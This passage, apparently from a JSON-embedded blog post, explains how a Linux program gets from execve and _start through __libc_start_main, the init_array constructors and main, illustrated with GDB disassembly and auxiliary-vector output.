\u0026#34;myprogram\u0026#34;; argv[1] = \u0026#34;-a\u0026#34;; argv[2] = \u0026#34;data.txt\u0026#34;; argv[3] = NULL; The envp variable is an array of pointers to strings that contains environment variables passed to the new program. These environment variables function like system variables, and each element of this array is a string formatted as key=value. For example:\nenvp[0] = \u0026#34;PATH=/bin:/usr/bin\u0026#34;; envp[1] = \u0026#34;HOME=/home/user\u0026#34;; envp[2] = NULL; When execve is successfully executed, the new program completely replaces the previous one, and all the resources of the previous program are freed. This means that the execve function never returns to the calling program; instead, the memory space of the previous program is replaced with that of the new program. Additionally, if the previous program is being traced (using ptrace), a SIGTRAP signal is sent to it after the successful execution of execve.\nFollowing this, the loader is responsible for loading the program into memory and setting up memory addresses. The loader may also perform some initial tasks, such as calling certain functions, before the program begins executing. Once everything is ready, control of the program execution is transferred to a function called _start.\nFor more information about the execve system call, please refer to this link.\nA Closer Look at _start First, we run the program in GDB using the following command:\ngdb ./ELF2 Next, we set a breakpoint at the beginning of the _start function and run the program:\nb _start r Once we reach the _start function, the program stack appears as follows:\n+-----------------+ | NULL | +-----------------+ | ... | | envp | | ... | +-----------------+ | NULL | +------------------ | ... | | argv | | ... | +------------------ | argc | \u0026lt;- rsp +-----------------+ Below, you can see the structure of the _start function for the program we compiled using GCC:\n● →0x555555555050 \u0026lt;_start+0000\u0026gt; xor ebp, ebp 0x555555555052 \u0026lt;_start+0002\u0026gt; mov r9, rdx 0x555555555055 \u0026lt;_start+0005\u0026gt; pop rsi 0x555555555056 \u0026lt;_start+0006\u0026gt; mov rdx, rsp 0x555555555059 \u0026lt;_start+0009\u0026gt; and rsp, 0xfffffffffffffff0 0x55555555505d \u0026lt;_start+000d\u0026gt; push rax 0x55555555505e \u0026lt;_start+000e\u0026gt; push rsp 0x55555555505f \u0026lt;_start+000f\u0026gt; xor r8d, r8d 0x555555555062 \u0026lt;_start+0012\u0026gt; xor ecx, ecx 0x555555555064 \u0026lt;_start+0014\u0026gt; lea rdi, [rip+0x110] # 0x55555555517b \u0026lt;main\u0026gt; 0x55555555506b \u0026lt;_start+001b\u0026gt; call QWORD PTR [rip+0x2f4f] # 0x555555557fc0 0x555555555071 \u0026lt;_start+0021\u0026gt; hlt At the beginning of this code, the ebp register is set to zero using the xor ebp, ebp instruction. This zero value in the ebp register indicates the start of a new stack frame.\nThe value in the rdx register, which is being transferred to r9, corresponds to the dl_fini function. This function serves as a parameter to the __libc_start_main function.\nThe value of argc is removed from the top of the stack and placed into the rsi register.\nNext, the instruction mov rdx, rsp is used to transfer the address of the argv parameter into the rdx register.\nAn AND operation is then performed between the rsp register and the value 0xffffffffffffff0. The purpose of this operation is to align the stack to a 16-byte boundary. After popping the argc value from the stack, the esp value changes from 0xbffff770 to 0xbffff774. The AND operation restores the rsp value back to 0xbffff770.\nFinally, the starting address of the envp array is pushed onto the stack.\nNote that the r8 and ecx registers are for the init and fini function parameters, and these parameters are set to zero.\nIn older versions of GCC (2.34 and earlier), the parameters for init and fini were passed as the addresses of the first instructions of the functions __libc_csu_init and __libc_csu_fini, respectively. However, with changes, these two functions have been removed. The responsibilities for processing the init_array, fini_array, and preinit_array arrays have now been divided into different sections of the libc_start_main function. As a result of the removal of these functions, null values are passed to the libc_start_main function for the init and fini parameters instead of the addresses of __libc_csu_init and __libc_csu_fini.\nThe question arises: how do we determine the locations of argc, argv, and envp? Before the _start function is called, these three values are placed on the stack as pointers. To understand this, we should examine the contents of the rsp register: As it shown in the image, the value of argc is represented by the number 1, indicating that it was executed without any additional parameters. Consequently, this parameter value will be stored on the stack at the address 0x00007fffffffe1b0. If we display the value located at this address as a string, we can observe argv, and envp is placed on the stack after argv.\nAs shown in the image, the value of argc is 1, indicating that the program was executed without any additional parameters. This value will be stored on the stack at the address 0x00007fffffffe1b0. If we display the value stored at this address as a string, we can see argv, while envp is placed on the stack following argv.\nPreparing to call the libc_start_main function. At this stage, the arguments required for the libc_start_main function call are pushed onto the stack in reverse order. The first argument placed on the stack is an arbitrary value, typically stored in the rax register. This value is pushed onto the stack solely for the purpose of maintaining 16-byte alignment and serves no other function. It is essential to maintain this alignment because the subsequent arguments are pushed onto the stack in order, and the additional value ensures proper memory alignment.\nThe structure of the __libc_start_main function is as follows:\nint __libc_start_main( int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)); So, the _start function is expected to push this argument onto the stack in reverse order. The register values before the call looks like this:\nregisters values rdi a pointer to the first instruction of the main function rsi argc value rdx pointer to argv rcx null value r8 null value r9 a pointer to the dl_fini/rtld_fini function Where are the environment variables (envp)? As mentioned, the envp array is stored on the stack right after the argv array. By using argc, we can determine the number of elements in the argv array, which allows us to find the end of this array and access the envp array. In the image below,at line 244, you can see how __libc_start_main extracts envp at the source code level:\nAfter that, you can see that the pointer to the environment variables is stored in a variable named __environ. This variable is accessible throughout the program and is utilized by other C library functions to access environment variables. Whenever libc_start_main requires it—such as when it calls the main function it can reference __environ. Additionally, there\u0026rsquo;s another vector following the envp array known as the ELF auxiliary vector. The loader uses this vector to provide various information to our process. You can view this information by using the command LD_SHOW_AUXV=1:\nLD_SHOW_AUXV=1 ./ELF2 AT_SYSINFO_EHDR: 0x7f7134737000 AT_MINSIGSTKSZ: 1776 AT_HWCAP: 1f8bfbff AT_PAGESZ: 4096 AT_CLKTCK: 100 AT_PHDR: 0x5640459c7040 AT_PHENT: 56 AT_PHNUM: 14 AT_BASE: 0x7f7134739000 AT_FLAGS: 0x0 AT_ENTRY: 0x5640459c8050 AT_UID: 1000 AT_EUID: 1000 AT_GID: 1000 AT_EGID: 1000 AT_SECURE: 0 AT_RANDOM: 0x7ffc2a3ea779 AT_HWCAP2: 0x0 AT_EXECFN: ./ELF2 AT_PLATFORM: x86_64 AT_??? (0x1b): 0x1c AT_??? (0x1c): 0x20 init101 init102 init65535 This vector offers us valuable information. Explanations for each can be found at this link. This __libc_start_main performs the following tasks:\nInitialization:\nRetrieves the values of argv, argc, and .envp. Saves the stack_end. Internal Initialization:\nCalls the functions listed in .init_array for initialization. If the program is static, it also executes the functions in .preinit_array. Additionally, if the _init function exists, it is called before the functions in .init_array. Function Registration:\nRegisters two functions, rtld_fini and call_fini, which are invoked when the program exits. These functions are explained in greater detail in the continuation. Calling call_init After retrieving argv, argc, and envp, the call_init function is invoked by __libc_start_main. The call_init function executes all the functions listed in the .init_array in sequential order:\n→ 0x7ffff7ddcdf2 \u0026lt;__libc_start_main+0052\u0026gt; je 0x7ffff7ddce25 \u0026lt;__libc_start_main_impl+133\u0026gt; The function call_init receives the following arguments:\n[#0] 0x7ffff7ddce25 → call_init(argc=0x1, argv=0x7fffffffde38, env=0x7fffffffde48) For our program, the first function that will be executed is _init:\n→ 0x555555555000 \u0026lt;_init+0000\u0026gt; sub rsp, 0x8 0x555555555004 \u0026lt;_init+0004\u0026gt; mov rax, QWORD PTR [rip+0x2fc5] # 0x555555557fd0 0x55555555500b \u0026lt;_init+000b\u0026gt; test rax, rax 0x55555555500e \u0026lt;_init+000e\u0026gt; je 0x555555555012 \u0026lt;_init+18\u0026gt; 0x555555555010 \u0026lt;_init+0010\u0026gt; call rax 0x555555555012 \u0026lt;_init+0012\u0026gt; add rsp, 0x8 0x555555555016 \u0026lt;_init+0016\u0026gt; ret This function doesn\u0026rsquo;t actually perform any special actions! Let\u0026rsquo;s move on to the next function. The next function is init101, which is defined to run before the main function in the program, based on the priority we set earlier:\n→ 0x55555555514f \u0026lt;init101+0000\u0026gt; push rbp 0x555555555150 \u0026lt;init101+0001\u0026gt; mov rbp, rsp 0x555555555153 \u0026lt;init101+0004\u0026gt; lea rax, [rip+0xeb2] # 0x55555555600c 0x55555555515a \u0026lt;init101+000b\u0026gt; mov rdi, rax 0x55555555515d \u0026lt;init101+000e\u0026gt; call 0x555555555030 \u0026lt;puts@plt\u0026gt; 0x555555555162 \u0026lt;init101+0013\u0026gt; nop 0x555555555163 \u0026lt;init101+0014\u0026gt; pop rbp 0x555555555164 \u0026lt;init101+0015\u0026gt; ret This function is defined in the source code and is invoked by calling puts, which takes the init101 message as a parameter and displays it as output in the terminal. The next function to be executed is init102, which performs the same task as the previous function and displays the corresponding message:\n→ 0x555555555139 \u0026lt;init102+0000\u0026gt; push rbp 0x55555555513a \u0026lt;init102+0001\u0026gt; mov rbp, rsp 0x55555555513d \u0026lt;init102+0004\u0026gt; lea rax, [rip+0xec0] # 0x555555556004 0x555555555144 \u0026lt;init102+000b\u0026gt; mov rdi, rax 0x555555555147 \u0026lt;init102+000e\u0026gt; call 0x555555555030 \u0026lt;puts@plt\u0026gt; 0x55555555514c \u0026lt;init102+0013\u0026gt; nop 0x55555555514d \u0026lt;init102+0014\u0026gt; pop rbp 0x55555555514e \u0026lt;init102+0015\u0026gt; ret The next step involves calling the frame_dummy function. The primary objective of this call is to register the frame information for data analysis, ensuring that if an exception occurs, the stack frames can be accurately processed and the point of the exception can be identified. This function prepares the necessary arguments for the main frame registration function, __register_frame_info:\n→ 0x555555555130 \u0026lt;frame_dummy+0000\u0026gt; endbr64 0x555555555134 \u0026lt;frame_dummy+0004\u0026gt; jmp 0x5555555550b0 \u0026lt;register_tm_clones\u0026gt; → 0x5555555550b0 \u0026lt;register_tm_clones+0000\u0026gt; lea rdi, [rip+0x2f61] # 0x555555558018 \u0026lt;completed.0\u0026gt; 0x5555555550b7 \u0026lt;register_tm_clones+0007\u0026gt; lea rsi, [rip+0x2f5a] # 0x555555558018 \u0026lt;completed.0\u0026gt; 0x5555555550be \u0026lt;register_tm_clones+000e\u0026gt; sub rsi, rdi 0x5555555550c1 \u0026lt;register_tm_clones+0011\u0026gt; mov rax, rsi 0x5555555550c4 \u0026lt;register_tm_clones+0014\u0026gt; shr rsi, 0x3f 0x5555555550c8 \u0026lt;register_tm_clones+0018\u0026gt; sar rax, 0x3 0x5555555550cc \u0026lt;register_tm_clones+001c\u0026gt; add rsi, rax 0x5555555550cf \u0026lt;register_tm_clones+001f\u0026gt; sar rsi, 1 0x5555555550d2 \u0026lt;register_tm_clones+0022\u0026gt; je 0x5555555550e8 \u0026lt;register_tm_clones+56\u0026gt; 0x5555555550d4 \u0026lt;register_tm_clones+0024\u0026gt; mov rax, QWORD PTR [rip+0x2efd] # 0x555555557fd8 0x5555555550db \u0026lt;register_tm_clones+002b\u0026gt; test rax, rax 0x5555555550de \u0026lt;register_tm_clones+002e\u0026gt; je 0x5555555550e8 \u0026lt;register_tm_clones+56\u0026gt; 0x5555555550e0 \u0026lt;register_tm_clones+0030\u0026gt; jmp rax 0x5555555550e2 \u0026lt;register_tm_clones+0032\u0026gt; nop WORD PTR [rax+rax*1+0x0] 0x5555555550e8 \u0026lt;register_tm_clones+0038\u0026gt; ret The last constructor function to be executed is init, serving the same purpose as the previous function defined at the source level:\n→ 0x555555555165 \u0026lt;init+0000\u0026gt; push rbp 0x555555555166 \u0026lt;init+0001\u0026gt; mov rbp, rsp 0x555555555169 \u0026lt;init+0004\u0026gt; lea rax, [rip+0xea4] # 0x555555556014 0x555555555170 \u0026lt;init+000b\u0026gt; mov rdi, rax 0x555555555173 \u0026lt;init+000e\u0026gt; call 0x555555555030 \u0026lt;puts@plt\u0026gt; 0x555555555178 \u0026lt;init+0013\u0026gt; nop 0x555555555179 \u0026lt;init+0014\u0026gt; pop rbp 0x55555555517a \u0026lt;init+0015\u0026gt; ret Calling _dl_audit_preinit@plt The next function is _dl_audit_preinit@plt, which executes the members of the preinit_array array.\nCalling libc_start_call_main Next, we have the libc_start_call_main function, which is responsible for invoking the main function. It takes three parameters, detailed as follows:\n[#0] 0x7ffff7ddccf0 → __libc_start_call_main(main=0x55555555517b \u0026lt;main\u0026gt;, argc=0x1, argv=0x7fffffffde28) The main function simply returns the value zero in the eax register:\n→ 0x55555555517b \u0026lt;main+0000\u0026gt; push rbp 0x55555555517c \u0026lt;main+0001\u0026gt; mov rbp, rsp 0x55555555517f \u0026lt;main+0004\u0026gt; mov eax, 0x0 0x555555555184 \u0026lt;main+0009\u0026gt; pop rbp 0x555555555185 \u0026lt;main+000a\u0026gt; ret rtld_fini function The rtld_fini function is called by __libc_start_main after the main function has completed. This function is designed to be executed after the program has finished running but before exiting and before call_fini. It is specifically used for dynamically linked programs and performs several important tasks, including:\nUnloading libraries that were loaded during runtime. Calling the destructors for those libraries. Deallocating resources used for loading the libraries. If the program utilized threading, rtld_fini also cleans up thread-specific resources that are reserved for Thread Local Storage (TLS). call_fini function This function is executed after rtld_fini and is responsible for executing the functions in the fini_array section in reverse order. The functions in this section are destructors that clean up the resources allocated during the program\u0026rsquo;s execution or initialization.\nConclusion Understanding the execution process of a program from the _start function to main reveals the hidden complexities underlying a seemingly simple program. This process involves intricate interactions among the compiler, linker, and operating system, which ensure the correct initialization and termination of resources.\nKey elements such as constructor and destructor functions, as well as section layouts like .ctors, .init_array, and .preinit_array, play crucial roles in managing the lifecycle of a program. The reverse order of constructor execution and the structured handling of destructors further highlight the deliberate design choices intended to maintain consistency and correctness.\nAdditionally, exploring how system calls like execve, along with debugging tools like objdump and GDB, expose the step-by-step execution flow provides invaluable insights into program behavior. This knowledge bridges the gap between high-level programming and the low-level mechanisms that drive modern software.\nIn the next post, we will examine the behind-the-scenes process of the main function until the program concludes.\nLinks https://maskray.me/blog/2021-11-07-init-ctors-init-array https://gcc.gnu.org/onlinedocs/gccint/Initialization.html http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html https://docs.oracle.com/cd/E88353_01/html/E37853/crti.o-7.html https://blog.k3170makan.com/2018/10/introduction-to-elf-format-part-v.html ","permalink":"https://bitinfiltrator.pages.dev/posts/whatishappeningbeforemainfunc/","section":"posts","summary":"\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eFor most programmers, the entry point of a C or C++ program is the main function. However, they may be unaware of the complex steps that occur before main is executed. Depending on the program and the compiler used, various functions may run before main. These functions are automatically included in the final executable binary by the compiler and linker, but they remain hidden from the programmer.\u003c/p\u003e\n\u003cp\u003eThis post discusses the execution process and events from _start to the main function, with future posts covering the next steps.\u003c/p\u003e","title":"What happens before the main function, from the _start point to the main function?"}]